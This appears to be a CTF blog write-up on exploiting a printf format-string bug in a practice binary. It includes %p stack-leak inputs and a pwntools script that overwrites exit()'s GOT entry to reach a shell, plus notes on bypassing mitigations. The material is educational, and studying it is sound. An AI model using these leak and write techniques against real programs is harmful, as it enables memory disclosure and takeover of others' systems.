algoatson.github.io ~/posts
segfault@algoatson.github.io
back to index

printf is a write primitive

2026-02-223 min readpwn fmtstr ctf

The bug is one character of carelessness:

vuln.cc
1
2
3
char buf[128];
read(0, buf, sizeof buf);
printf(buf);              // should be printf("%s", buf)

printf walks its format string looking for conversions, and pulls each argument from where the calling convention says the next argument should be — registers, then the stack. But you only passed one argument. So every %p, %x, %n you smuggle in reads (or writes) memory that was never meant to be an argument at all. That's not a info-leak or a write bug; it's both.

target./fmt
arch
amd64-64-little
  • RELROpartial
  • canaryon
  • NXon
  • PIEoff

step 1 — read the stack with %p#

On x86-64 the first arguments live in registers: the format string is in rdi, then rsi rdx rcx r8 r9 would hold conversions 1–5, and conversion 6 onward comes off the stack. So %6$p prints the first stack quadword, %7$p the next, and so on — %N$ is direct parameter access, no need to walk every slot:

leaking the stacktxt
1
2
3
4
$ ./fmt
%6$p.%7$p.%8$p.%9$p.%10$p
0x7ffd...8a0.0x55...169.0x7f...d90.0x4141414141414141.0x...
                                   ^^ that's our own "AAAAAAAA" input

Spray %ps, find the one that prints your own bytes, and you've learned your input's offset — the number you'll aim %n through later. The other leaks are gifts: a 0x55…/0x56… value is a PIE/code pointer, 0x7f… is libc or the stack. One format string, and ASLR is usually gone.

find the offset without counting

Send AAAAAAAA%6$p%7$p%8$p… and look for 0x4141414141414141 in the output. The position where it appears is the offset to the start of your buffer. pwntools' FmtStr autodetects it for you, but do it by hand once.

step 2 — %n, the write#

%n is the conversion everyone forgets exists: it writes the number of bytes printed so far to the int * argument. Its cousins write narrower: %hn a short, %hhn a single byte. So to write a value you control the count — print exactly that many characters, then fire %n at a pointer you placed in the argument area.

Writing a full 8-byte address with one %n would mean printing billions of chars, so you split it into byte-sized writes with %hhn and width specifiers, writing each target byte by padding to the right cumulative count:

padi=(target byteiprinted so far)mod256

Hand-assembling that is miserable, so let pwntools compute it — give it the offset from step 1 and an {address: value} map:

solve.pypython
1
2
3
4
5
6
7
8
from pwn import *
elf = context.binary = ELF("./fmt")
io = process("./fmt")

# overwrite the GOT entry for exit() with win()  (Partial RELRO -> GOT writable)
payload = fmtstr_payload(6, {elf.got["exit"]: elf.sym["win"]})
io.sendline(payload)
io.interactive()                 # exit() now calls win()
the flag

exit()'s GOT slot now points at win(), so the program's own clean-up hands you the shell:

txt
segfault{n0_f0rm4t_n0_party}

what the mitigations actually do#

  • Partial RELRO (above) leaves the GOT writable — the easy target. Full RELRO resolves and read-onlys the GOT at load, so you pivot to a writable function pointer instead: a saved return address, __free_hook/__malloc_hook (pre-2.34), _IO_2_1_stdout_'s vtable, or __exit_funcs.
  • FORTIFY_SOURCE rewrites printf to __printf_chk, which rejects %n in a writable format string and requires positional args to be contiguous. It's a real speed-bump — but a read-only format string with %n (rare) or a different sink slips it.
  • Canary / PIE / NX don't touch this bug at all; the format string leaks exactly the canary and PIE base you'd otherwise be missing. That's the cruel part — a format string is frequently the leak that arms a different overflow.

The lesson that sticks: printf(user_input) isn't a logging bug, it's a read-anywhere + write-anywhere primitive handed to you in one line. Treat every uncontrolled format string as full compromise until proven otherwise.